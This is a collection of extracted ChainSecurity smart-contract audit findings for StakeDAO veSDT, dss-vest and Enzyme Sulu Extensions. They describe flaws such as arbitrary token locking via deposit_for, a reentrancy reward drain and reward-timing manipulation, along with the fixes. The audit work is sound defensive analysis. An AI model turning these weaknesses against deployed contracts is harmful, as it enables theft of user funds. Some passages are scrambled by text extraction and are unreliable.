DesignLowVersion3CodePartiallyCorrectedDesignLowVersion3CodePartiallyCorrectedDesignLowVersion1Acknowledged \fDue to efficiency reasons, StakeDAO decided to keep the function as it is. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "5.14 Missing Sanity Checks: FxsDepositor", "body": " The setter functions that take an address as a parameter and assign it to a state variable lack basic sanity checks on the input parameter. Such checks would help to eliminate the risk of setting address(0) to the state variable of the contract by accident (e.g. UI bugs). Acknowledged Due to efficiency reasons, StakeDAO decided to keep the function as it is. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "5.15 Missing Sanity Checks: sdFXSToken", "body": " The function setOperator takes an address as a parameter and assigns it to the state variable operator. Given the sensitivity of this function, basic sanity checks on the parameter _operator help to eliminate the risk of setting address(0) as the operator of the contract by accident (e.g. UI bugs). Acknowledged Due to efficiency reasons, StakeDAO decided to keep the function as it is. StakeDAO - StakeDAO-Frax-veSDT - 19 DesignLowVersion1AcknowledgedDesignLowVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 0 1 3 12 -Severity Findings -Severity Findings Incorrect Index Used to Access depositorsIndex -Severity Findings Possible to Lock Users' Funds Into veSDT Inconsistent Access Control Update of unlockTime -Severity Findings Inconsistent Specification: deposit_for_from Inconsistent Specification: initialize Possible to Optimize the Check on Distributor of tokenReward Broad Function Visibility Commented Code Mismatch of Specification With the Function Modifier Revert Message on Modifier Unused Event Voted Unused Imports: FxsDepositor Unused Imports: FxsLocker Unused Imports: sdFXSToken createLock Access Control ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "6.1 Incorrect Index Used to Access ", "body": " depositorsIndex In the function addDepositor of ClaimRewards , values of depositorsIndex are set using depositor addresses as indexes. depositorsIndex[_depositor] = depositorsCount; In claimAndLock this array is accessed twice using token addresses as indexes. if (depositor != address(0) && lockStatus.locked[depositorsIndex[token]]) { IERC20(token).approve(depositor, balance); StakeDAO - StakeDAO-Frax-veSDT - 20 CriticalHighCodeCorrectedMediumCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessHighVersion3CodeCorrected \f if (lockStatus.staked[depositorsIndex[token]]) { IDepositor(depositor).deposit(balance, false, true, msg.sender); } else { IDepositor(depositor).deposit(balance, false, false, msg.sender); } Given that there are no contract defining both a token and a depositor in the codebase, it would most likely lead depositorsIndex[token] to always evaluate to 0 and hence use the first element of lockStatus.staked and lockStatus.locked as decisions for each token. Code corrected The variable depositor is now used to address depositorsIndex in claimAndLock. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "6.2 Possible to Lock Users' Funds Into veSDT", "body": " Users that lock their tokens into the voting escrow contract need to approve an allowance to veSDT and then call deposit_for or deposit_for_from to transfer the tokens. However, if a user approves to the veSDT an amount that is larger than the intended amount of tokens to be locked, or max uint for simplicity, the user's tokens are exposed to arbitrary locking. In such cases the function deposit_for allows anyone to lock more of user's tokens into the contract without their clear consent. This is possible because the function deposit_for calls the internal function _deposit_for without passing the msg.sender as a parameter: def deposit_for(_addr: address, _value: uint256): ... self._deposit_for(_addr, _value, 0, self.locked[_addr], DEPOSIT_FOR_TYPE) The internal function transfers the tokens from _addr if enough allowance exists, while the caller only pays the gas costs: def _deposit_for(_addr: address, _value: uint256, unlock_time: uint256, locked_balance: LockedBalance, type: int128): ... if _value != 0: assert ERC20(self.token).transferFrom(_addr, self, _value) Code corrected StakeDAO corrected the issue by adding the new parameter _from to _deposit_from and using it instead of _addr for the ERC20 transfer. Whenever _deposit_from is called, msg.sender is passed as an argument so that _from is always equal to it. Anyone is still able to call deposit_for or deposit_for_from for someone else, but it is now the caller's tokens that are deposited. def _deposit_for(_addr: address, _value: uint256, unlock_time: uint256, locked_balance: LockedBalance, type: int128, _from: address): ... if _value != 0: assert ERC20(self.token).transferFrom(_from, self, _value) ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "6.3 Inconsistent Access Control", "body": " StakeDAO - StakeDAO-Frax-veSDT - 21 DesignMediumVersion3CodeCorrectedDesignMediumVersion1CodeCorrected \fto allows The access control for FraxLocker.execute is onlyGovernanceOrDepositor. The function basically function FraxLocker.claimFXSRewards has the following access control onlyGovernanceOrAcc. As execute can replicate the behavior of claimFXSRewards the access control is inconsistent because claimFXSRewards can be replicated by execute. Ultimately, giving the Depositor the same power as Acc in this case. function. arbitrary contract The and any call This is only a theoretical problem in the current implementation due to another issue. Code corrected The updated code protects the function execute with the modifier onlyGovernance, which restricts the access to only the governance address. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "6.4 Update of unlockTime", "body": " We do not have sufficient specification about the intended behavior, but the following seems to be an issue. The internal function _lockFXS updates the unlockTime if the following condition is satisfied: if (unlockInWeeks.sub(unlockTime) > 1) { ILocker(locker).increaseUnlockTime(unlockAt); unlockTime = unlockInWeeks; } Given that both unlockInWeeks and unlockTime store the number of seconds passed until a given week, the comparison with 2 (sec) seems incorrect. Specification changed The current code will always evaluate the if condition as true if the comparison is bigger than 1. StakeDAO changed the specification from two weeks to one week. Additionally, the 2 was changed to 1 (which has no effect but makes it more explicit). The code works but we need to highlight, that this only works for one week check. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "6.5 Inconsistent Specification: ", "body": " deposit_for_from The functions deposit_for and deposit_for_from have a similar behavior, however their NatSpec specification is inconsistent. The comment for deposit_for: @dev Anyone (even a smart contract) can deposit for someone else, but cannot extend their locktime and deposit for a brand new user while the respective description for deposit_for_from is: @dev Anyone (even a smart contract) can deposit for someone else from their account StakeDAO - StakeDAO-Frax-veSDT - 22 DesignMediumVersion1Speci\ufb01cationChangedCorrectnessLowVersion3CodeCorrected \fCode corrected The NatSpec specification of deposit_for_from has been modified to reflect the function's behavior. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "6.6 Inconsistent Specification: initialize", "body": " The NatSpec description of veSDT's initialize function describe token_addr as being the address of the ERC20ANGLE contract while the contract is a voting escrow for the SDT token. Code corrected StakeDAO corrected the NatSpec description by replacing ERC20ANGLE by ERC20SDT. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "6.7 Possible to Optimize the Check on Distributor", "body": " of tokenReward The function BaseAccumulator._notifyReward checks if the distributor of _tokenReward is not address(0), then it performs the two external calls as shown below: if (ILiquidityGauge(gauge).reward_data(_tokenReward).distributor != address(0)) { IERC20(_tokenReward).approve(gauge, _amount); ILiquidityGauge(gauge).deposit_reward_token(_tokenReward, _amount); ... } The function call deposit_reward_token succeeds only if the accumulator is the distributor for the _tokenReward, otherwise it reverts. Hence, the function could be optimized by directly checking if the distributor of the _tokenReward is the accumulator. Code corrected The condition checks immediately if the address is the accumulator. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "6.8 Broad Function Visibility", "body": " The function depositFor in FxsDepositor is declared as public but it is never called internally. Following the best practices, functions expected to be called only externally should be declared as external. Code corrected StakeDAO - StakeDAO-Frax-veSDT - 23 CorrectnessLowVersion3CodeCorrectedDesignLowVersion3CodeCorrectedDesignLowVersion1CodeCorrected \fThe function depositFor has been removed from the contract. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "6.9 Commented Code", "body": " The contract FraxLocker includes a function vote which is commented out. Please elaborate on the cause and if this functionality should be implemented or the code removed completely. Code corrected The commented function was removed from the code base. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "6.10 Mismatch of Specification With the Function", "body": " Modifier The specification of the function createLock states that it can only be called by governance or proxy, however, the modifier onlyGovernanceOrDepositor is used, which checks if the msg.sender is either the governance or fxsDepositor address. Additionally, the fxsDepositor contract does not implement any functionality which calls createLock currently. Code corrected The updated spec state that createLock can be called only by the governance. The respective modifier onlyGovernance is now used. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "6.11 Revert Message on Modifier", "body": " The modifier onlyGovernanceOrDepositor checks if the msg.sender is either governance or fxsDepositor address as shown: modifier onlyGovernanceOrDepositor() { require( msg.sender == governance || msg.sender == fxsDepositor, \"!(gov||proxy||fxsDepositor)\" ); _; } The error message claims that msg.sender is not proxy address, which is not declared in the contract. Code corrected The error message has been updated accordingly. StakeDAO - StakeDAO-Frax-veSDT - 24 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f6.12 Unused Event Voted The contract FraxLocker declares the event Voted, however, it is not used in the current codebase. Code corrected The unused event Voted has been removed from the code. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "6.13 Unused Imports: FxsDepositor", "body": " The file FxsDepositor.sol ( Depositor contract) has the following unused import: import \"@openzeppelin/contracts/token/ERC20/ERC20.sol\"; import \"@openzeppelin/contracts/utils/Address.sol\"; import \"@openzeppelin/contracts/utils/Context.sol\"; Code corrected The unused libraries listed above have been removed from the updated code. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "6.14 Unused Imports: FxsLocker", "body": " The contract FxsLocker has the following unused imports: import \"@openzeppelin/contracts/math/SafeMath.sol\"; import \"@openzeppelin/contracts/utils/Address.sol\"; Code corrected The unused libraries have been removed from the updated code. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "6.15 Unused Imports: sdFXSToken", "body": " The file sdFXSToken.sol ( sdToken) has the following unused imports: import \"@openzeppelin/contracts/token/ERC20/IERC20.sol\"; import \"@openzeppelin/contracts/utils/Address.sol\"; StakeDAO - StakeDAO-Frax-veSDT - 25 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedVersion2DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedVersion2 \fimport \"@openzeppelin/contracts/token/ERC20/SafeERC20.sol\"; import \"@openzeppelin/contracts/utils/Context.sol\"; Code corrected The unused libraries listed above have been removed from the updated code. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "6.16 createLock Access Control", "body": " functions The modifier onlyGovernanceOrDepositor, but the contract FxsDepositor never calls these functions. Specifications covering use cases when these functions are called by the depositor are missing. createLock, execute release have and the Code corrected The modifier for the functions listed above has been updated to onlyGovernance. StakeDAO - StakeDAO-Frax-veSDT - 26 DesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "7.1 Admin's Weight on a Gauge Can Be", "body": " Overwritten The function change_gauge_weight in GaugeController allows the admin to set the weight of any gauge to an arbitrary value. This value can be altered by voters of the gauge. If users vote for the gauge, its weight is increased to a higher value than set by the admin. Furthermore, if users that previously voted the gauge (before the admin called change_gauge_weight) remove their votes, the weight of the gauge is decreased to a lower value than set by the admin. StakeDAO replied: The weight, for a gauge already included into the GaugeController won't likely change, if it would happen, we will take care of managing it. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "7.2 All Gauges Should Be Trusted", "body": " The gauges are added into the system by the admin of the GaugeController and they are considered to be non-malicious. If an untrusted gauge is added, then it can exploit a reentrancy vulnerability in the function SdtDistributor._distributeReward which can drain all rewards: ILiquidityGauge(gaugeAddr).deposit_reward_token(address(rewardToken), sdtDistributed); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "7.3 Dust Amounts Not Accounted in veSDT", "body": " function veSDT._checkpoint The MAXTIME = 4 * 365 * 86400: ignores locked tokens with an amount smaller than def _checkpoint(addr: address, old_locked: LockedBalance, new_locked: LockedBalance): ... u_old.slope = old_locked.amount / MAXTIME ... u_new.slope = new_locked.amount / MAXTIME ... If old_locked.amount or new_locked.amount is less than MAXTIME, the respective slope is set to 0. StakeDAO - StakeDAO-Frax-veSDT - 27 NoteVersion3NoteVersion3NoteVersion3 \f7.4 Event Can Be Emitted Multiple Times Several contracts follow the approach commit/accept to set a new admin for the contract. For such updates, an event CommitOwnership/ CommitAdmin is emitted on the commit operation, and ApplyOwnership / ApplyAdmin event is emitted when the new admin accepts the transfer. However, the accepting functions can be called multiple times, hence the respective events would be emitted for every call. We provide a list of such contracts here: GaugeController veSDT FeeDistributor LiquidityGaugeV4 veBoostProxy ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "7.5 Outdated Compiler Version", "body": " The compiler version: 0.8.7 is outdated (https://swcregistry.io/docs/SWC-102). The compiler version has the following known bugs. This is just a note as we do not see any severe issue using this compiler with the current code. At the time of writing the most recent Solidity release is version 0.8.13. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "7.6 Possible Reentrancy in lockToken for Special", "body": " Tokens The function Depositor.lockToken performs a mint operation and afterwards emits an event and updates the state variable incentiveToken: if (incentiveToken > 0) { ITokenMinter(minter).mint(msg.sender, incentiveToken); emit IncentiveReceived(msg.sender, incentiveToken); incentiveToken = 0; } In the current code base, minter token is always the sdToken which extends the ERC20 standard and does not provide any callback functionality to the receiver, hence the code above is not vulnerable to reentrancy attacks. However, if in the future versions of the code the minter token is supposed to support callbacks, e.g., implement ERC777 standard and the mint operation provides an opportunity for reentrancy, the above function would be exploitable. StakeDAO - StakeDAO-Frax-veSDT - 28 NoteVersion3NoteVersion1NoteVersion3 \f7.7 Reward Distribution Should Be Called Periodically for All Gauges The function SdtDistributor.distributeMulti works correctly only if it is called periodically (at least once a day) for all the gauges, otherwise the following two issues arise: 1. Failing to call distributeMulti for a gauge on a given day means that the gauge does not receive its share of rewards for the respective day and the funds are locked in the contract. Only the governance can recover these funds via recoverERC20 function. 2. On the time period that overlaps with the weekly event of updating votes for gauges, there is a time window for a malicious user to manipulate the rewards distributed to gauges. For example, if a gauge receives a higher weight for the following week, it is profitable for a malicious user to call the function distributeMulti when the new weight is applied, and vice-versa. This makes the accounting of rewards in SdtDistributor incorrect and potentially can prevent legit gauges from receives any reward. As stated in the System Overview, StakeDAO should run a bot that guarantees the function is called periodically and correctly for all gauges to prevent the issues above. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "7.8 Tautology in if Condition", "body": " The function setFees in contracts Depositor and FxsDepositor verifies that _lockIncentive is greater than or equal to zero, however, as it is a unsigned integer, this condition will always hold. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "7.9 ClaimRewards Functions Should Be Called", "body": " Only With Enabled Gauges The functions claimRewards and claimAndLock take a list of gauges as a parameter and check that each of them is enabled. If one of the gauges in _gauges is disabled by the governance, the functions revert. Hence, the caller should always guarantee that that all gauges passed into the functions are enabled. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "7.10 safeApprove Usage", "body": " The contract FxsDepositor (Depositor in given to the gauge. As explained in the specifications of the function, safeApprove is deprecated. ) uses safeApprove to update the allowance /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and StakeDAO - StakeDAO-Frax-veSDT - 29 NoteVersion3NoteVersion1NoteVersion3NoteVersion1Version2 \f * {safeDecreaseAllowance} instead. */ StakeDAO - StakeDAO-Frax-veSDT - 30 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-frax-vesdt/"}, {"title": "6.1 Redundant Calculation in _yank", "body": " When _yank is called, it determines how much reward can still be claimed by the recipient. If the new _end of the vesting plan is before the beginning or the cliff date of the vesting plan, the entire reward amount is cancelled. Otherwise, the following calculation is done: awards[_id].tot = toUint128( add( unpaid(_end, _award.bgn, _award.clf, _award.fin, _award.tot, _award.rxd), _award.rxd ) ); unpaid calculates the following result: function unpaid(uint256 _time, uint48 _bgn, uint48 _clf, uint48 _fin, uint128 _tot, uint128 _rxd) internal pure returns (uint256 amt) { amt = _time < _clf ? 0 : sub(accrued(_time, _bgn, _fin, _tot), _rxd); } As we know that _end is after the beginning and cliff date of the vesting plan, this calculation can be simplified. The addition of _rxd in _yank and subtraction of _rxd in unpaid cancel out, so the final result is simply: toUint128( accrued(_end, _bgn, _fin, _tot) ). Acknowledged: Giry chooses not to modify the code out of caution, as the original dss-vest code has been the subject of extensive formal checking and is battle-tested. Giry - dss-vest - 9 DesignCriticalHighMediumLowAcknowledgedAcknowledgedAcknowledgedAcknowledgedAcknowledgedDesignLowVersion1Acknowledged \f6.2 Redundant Overflow Checks As of Solidity version 0.8.0, the compiler automatically inserts overflow checks when doing integer arithmetic. As such, the add, sub and mul functions are redundant. Additionally, the following require statement in _create can also be considered redundant: require(ids < type(uint256).max, \"DssVest/ids-overflow\"); This statement makes sure that the increase of the id (id = ++id) in the following line will not overflow. Acknowledged: Giry chooses not to modify the code out of caution, as the original dss-vest code has been the subject of extensive formal checking and is battle-tested. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-dss-vest/"}, {"title": "6.3 Redundant Storage Load in _yank", "body": " The _yank function loads awards[_id] from storage multiple times: function _yank(uint256 _id, uint256 _end) internal lock { require(wards[msg.sender] == 1 || awards[_id].mgr == msg.sender, \"DssVest/not-authorized\"); Award memory _award = awards[_id]; It is important to note that since the Berlin hardfork, the memory slot of awards[_id] is considered warm, thus the benefit of such optimization is limited. See more here https://eips.ethereum.org/EIPS/eip-2929. Acknowledged: Giry chooses not to modify the code out of caution, as the original dss-vest code has been the subject of extensive formal checking and is battle-tested. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-dss-vest/"}, {"title": "6.4 Reentrancy Lock Can Be Cheaper", "body": " Using different values for the locked variable results in cheaper transactions overall. Setting a storage variable from 0 to 1, but then resetting it back to 0 costs ~20112 gas but causes 19900 gas to be refunded. However, the total refund amount a transaction is eligible for is limited to a fraction of the total gas expended by the transaction. Hence, for simple transactions it is likely that not the entire gas refund will be received. Instead, one could initialize the locked variable with a value of 1 in the constructor. Then, at the start of a transaction set it to 0 for the reentrancy lock and setting it back to 1 at the end. This costs ~3012 gas, but refunds 2800. Assuming a complete refund, this costs the same amount of gas per transaction, but is more likely to be completely refunded as the total refund amount is smaller. For completeness, we should note that a similar practice is utilized by the OpenZeppelin library. In this case, the values 1 and 2 are used instead of values 1 and 0. The efficiency of this approach is similar. Giry - dss-vest - 10 DesignLowVersion1AcknowledgedDesignLowVersion1AcknowledgedDesignLowVersion1Acknowledged \fFor more information https://eips.ethereum.org/EIPS/eip-3529. about gas refunds and the exact refund amounts, see Acknowledged: Giry chooses not to modify the code out of caution, as the original dss-vest code has been the subject of extensive formal checking and is battle-tested. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-dss-vest/"}, {"title": "6.5 Unnecessary Calculation in accrued", "body": " In the accrued function, unnecessary calculations are performed in the case where _time == _bgn. In this case, the result will be 0. As such, the first if condition could be modified to be _time <= _bgn in order to save gas in this case. function accrued(uint256 _time, uint48 _bgn, uint48 _fin, uint128 _tot) internal pure returns (uint256 amt) { if (_time < _bgn) { amt = 0; } else if (_time >= _fin) { amt = _tot; } else { amt = mul(_tot, sub(_time, _bgn)) / sub(_fin, _bgn); // 0 <= amt < _award.tot } } Acknowledged: Giry chooses not to modify the code out of caution, as the original dss-vest code has been the subject of extensive formal checking and is battle-tested. Giry - dss-vest - 11 DesignLowVersion1Acknowledged \f7 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings -Severity Findings Code Duplication ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-dss-vest/"}, {"title": "7.1 Code Duplication", "body": " 0 0 0 1 The _bless and unbless functions check for the condition wards[msg.sender] == 1. This is the same condition as is enforced by the auth modifier. In order to reduce code duplication, the auth modifier could be applied to these functions instead. The condition check was removed and replaced with the auth modifier. Giry - dss-vest - 12 CriticalHighMediumLowCodeCorrectedDesignLowVersion1CodeCorrected \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-dss-vest/"}, {"title": "5.1 Solv's BUYER_PAY Fee Pay Type Is", "body": " Unsupported When buying vouchers from the marketplace, fees are paid. Note that Solv has two fee pay types such that either the buyer or the seller pays fees. If the buyer pays, the fee is added to the amount transferred from the buyer. Note that Solv's internal function _buy() will transfer transferInAmount from the buyer which is defined as amount_.add(fee_). The external position for the buyer side does not consider that which leads to the following consequences: 1. Action BuySaleByAmount is not supported if the fee type is BUYER_PAY as the approval made will be insufficient. 2. Action BuySaleByUnits is not supported if the fee type is BUYER_PAY as the funds sent from the vault will not be sufficient to perform the action. with the exception that if some unreconcilled funds are available to the external position, the funds could be sufficient to perform the action. Code partially corrected: 1. Not corrected: Note that buying by amount on Solv will not transfer in the passed in amount but the passed in amount plus fees. However, BuyByAmount does not consider fees. See the code of SolvConvertibleMarket.sol here https://etherscan.io/address/0x29935f54a45f5955ad7bc9d5416f746c3d1b9d69 on line 502. file if (vars.feePayType == FeePayType.BUYER_PAY) { vars.transferInAmount = amount_.add(fee_); ...} ... Avantgarde Finance - Sulu Extensions V - 15 DesignCorrectnessCriticalHighMediumLowCodePartiallyCorrectedRiskAcceptedCorrectnessLowVersion1CodePartiallyCorrectedRiskAccepted \fERC20TransferHelper.doTransferIn( sale_.currency, buyer_, vars.transferInAmount ); Ultimately, insufficient funds could be moved and the approval given to Solv could be insufficient. 2. The code has been adapted such that the fee is in included in the transferred in amount. Note that the fee computation made for the BuyByUnits action could be off. There is a special case where the voucher's underlying could be also the currency. In such situations the fee is computed differently and is based on repoFeeRate instead of the market's feeRate. Risk accepted: Avantgarde Finance states the following: the Solv team says that they will upgrade to the version of `SolvConvertibleMarket` that is in their GitHub repo (b207d5e), which fixes this issue (buyer fee is deducted from `amount`, and there is no longer a `repoFeeRate`). The Enzyme Council will assure that the upgrade has occurred before adding the external position type. Even if no upgrade were to occur, the worst case is that `BuySaleByAmount` will revert when there is a buyer fee, which does not result in value loss for the fund. Avantgarde Finance - Sulu Extensions V - 16 \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings Solv Issuer Double Accounting -Severity Findings Full Balance Is Pushed on Reconciliation Offer ID and Voucher Mismatch Solv Finance: No Support for Raw ETH as Currency Solv Issuer Ignores Possibly Withdrawable Voucher Slots getManagedAssets for Solv Buyer Side Reverts if Maturity Not Reached -Severity Findings Incomplete NatSpec for ManualValueOracleLib.init() assetsToReceive Not Containing Assets 0 1 5 2 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-v/"}, {"title": "6.1 Solv Issuer Double Accounting", "body": " The Solv Issuer external position keeps track of the offered vouchers on the convertible offering marketplace. To compute their values it sums up 1. The token amounts that could be withdrawn by the issuer with internal function __getWithdrawableAssetAmounts. 2. The token amounts that could be claimed in case some units are still held with internal function __getOffersUnderlyingBalance() 3. The unreconciled token amounts. __getWithdrawableAssetAmounts() iterates over all offers and further iterates over all issuer slots of the external position. There is a possibility of accounting withdrawable amounts multiple times. for (uint256 i; i < offersLength; i++) { // ... ISolvV2ConvertibleVoucher voucherContract = ISolvV2ConvertibleVoucher( INITIAL_CONVERTIBLE_OFFERING_MARKET_CONTRACT.offerings(_offers[i].offerId).voucher ); ISolvV2ConvertiblePool voucherPoolContract = ISolvV2ConvertiblePool( voucherContract.convertiblePool() ); uint256[] memory slots = voucherPoolContract.getIssuerSlots(address(this)); // ... Avantgarde Finance - Sulu Extensions V - 17 CriticalHighCodeCorrectedMediumCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedLowCodeCorrectedCodeCorrectedCorrectnessHighVersion1CodeCorrected \f for (uint256 j; j < slotsLength; j++) { (uint256 withdrawCurrencyAmount, uint256 withdrawTokenAmount) = voucherPoolContract .getWithdrawableAmount(slots[j]); // logic for summing up // ... Consider the following example: 1. First offer is created with the voucher being X such that it has slot id 1. 2. Second offer is created with the voucher being X such that it has slot id 2. 3. The above code is executed. 4. The convertible pool of the voucher gives the slots 1 and 2. 5. The withdrawable amount is added twice since the inner loop for both offers will iterate over slot ids 1 and 2 and add the withdrawable amounts twice. Ultimately, the withdrawable amounts may be added multiple times in the evaluation. Now, not only offers are tracked but also issued voucher addresses. Hence, estimating the withdrawable amounts is done by iterating now over the issued voucher addresses which do not contain duplicates. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-v/"}, {"title": "6.2 Full Balance Is Pushed on Reconciliation", "body": " To handle direct token transfers to the loan contract as repayments (and to handle arbitrary tokens received), Avantgarde Finance introduces a reconciliation functionality for arbitrary loans, which allows moving arbitrary tokens received (e.g., insurance payments) to be moved to the vault. Furthermore, it considers all surplus balance (compared to the borrowable amount) of the loan token as a repayment. However, it always moves the full loan token balance to the vault. While this makes sense when closing the vault, it may break the loan's logic when action reconcile is executed (e.g., borrowable amount > 0 but borrows are impossible). Reconciliation for the Reconcile action and reconciliation for the Close action are now performed differently. A boolean _close argument was added to the __reconcile function to make this distinction. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-v/"}, {"title": "6.3 Offer ID and Voucher Mismatch", "body": " When buying an offer from the Solv IVO, the fund manager can specify the voucher address and the offering ID. However, the voucher address could mismatch with the offer's voucher stored in the Offering struct. Consider the following scenario: 1. Fund manager inputs an offer id such that Offer.voucher and the input voucher mismatch. Avantgarde Finance - Sulu Extensions V - 18 DesignMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \f2. The SolvV2ConvertibleBuyerPositionParser specifies Offer.currency as the asset to transfer while specifying the amount to transfer as uint256 amount = uint256(units).mul(voucherPrice).div(10**uint256(market.decimals)); 3. The nextTokenId() is queried on the wrong voucher and the contract maximum approval is given to the IVO market. 4. buy() is called on the IVO market. As long as the amount computed in step 2. is sufficient, buying will succeed. 5. The approval is revoked. 6. The input voucher and the token id from step 3 are pushed on the position's offers array. While it requires an error by the fund manager, it could have consequences such as tracking of a wrong voucher and token id leading to wrong estimations of the total value, stuck tokens due to high amounts being moved also leading to wrong fund evaluations, being stuck with the wrong voucher and token id potential of double tracking of voucher and token id Ultimately, to buy an offering it could be sufficient to specify solely the units and the offering id. The voucher address is not an action argument anymore for buying from IVOs but is retrieved from the offering. Hence, the position parser and the position logic have been adapted accordingly. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-v/"}, {"title": "6.4 Solv Finance: No Support for Raw ETH as", "body": " Currency Raw ETH is not supported as a currency for the Solv convertible vouchers. This is problematic because Solv supports ETH through the doTransferOut function in the ERC20TransferHelper library, which uses a special constant address ETH_ADDRESS for such raw currency transfers. Given the lack of sanity checks for the assets in a voucher, it could be possible that such a voucher becomes unredeemable (e.g. claim action while fund currency is ETH). The function __validateNotNativeToken was added to verify that the asset's address is not equal to the special value NATIVE_TOKEN_ADDRESS. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-v/"}, {"title": "6.5 Solv Issuer Ignores Possibly Withdrawable", "body": " Voucher Slots Avantgarde Finance - Sulu Extensions V - 19 DesignMediumVersion1CodeCorrectedCorrectnessMediumVersion1CodeCorrected \fWhen creating an IVO offer, a slot is created for the issuer and the offer which gives it a uniqueness property given the slot details. Action Withdraw allows the fund manager to claim assets from the voucher contract after maturity while action Remove removes the offer from the offering market such that the overhead underlying for the unsold units is refunded. Moreover, Remove removes the offer from the offers array such that it becomes untracked. While it is still possible to call Withdraw, the value of getManagedAssets has dropped even though assets could still be withdrawn. Consider the following scenario: 1. An offer is created. Some units were sold but not all. 2. The offer can be removed and there are withdrawable amounts. Assume the refund amount is 10 X and the withdrawable amounts are 10 X and 10 Y. 3. getManagedAssets() return 20 X and 10 Y. 4. Remove is executed. 10 X are moved to the vault proxy. 5. getManagedAssets() returns 0. 6. Withdraw is executed. The fund's value rises suddenly. In general, such behaviour could be introduced. Now, not only offers are tracked but also issued voucher addresses. Removing an offer does not remove the issued voucher and, thus, the voucher's slots remain tracked. ", "labels": ["ChainSecurity"], "html_url": 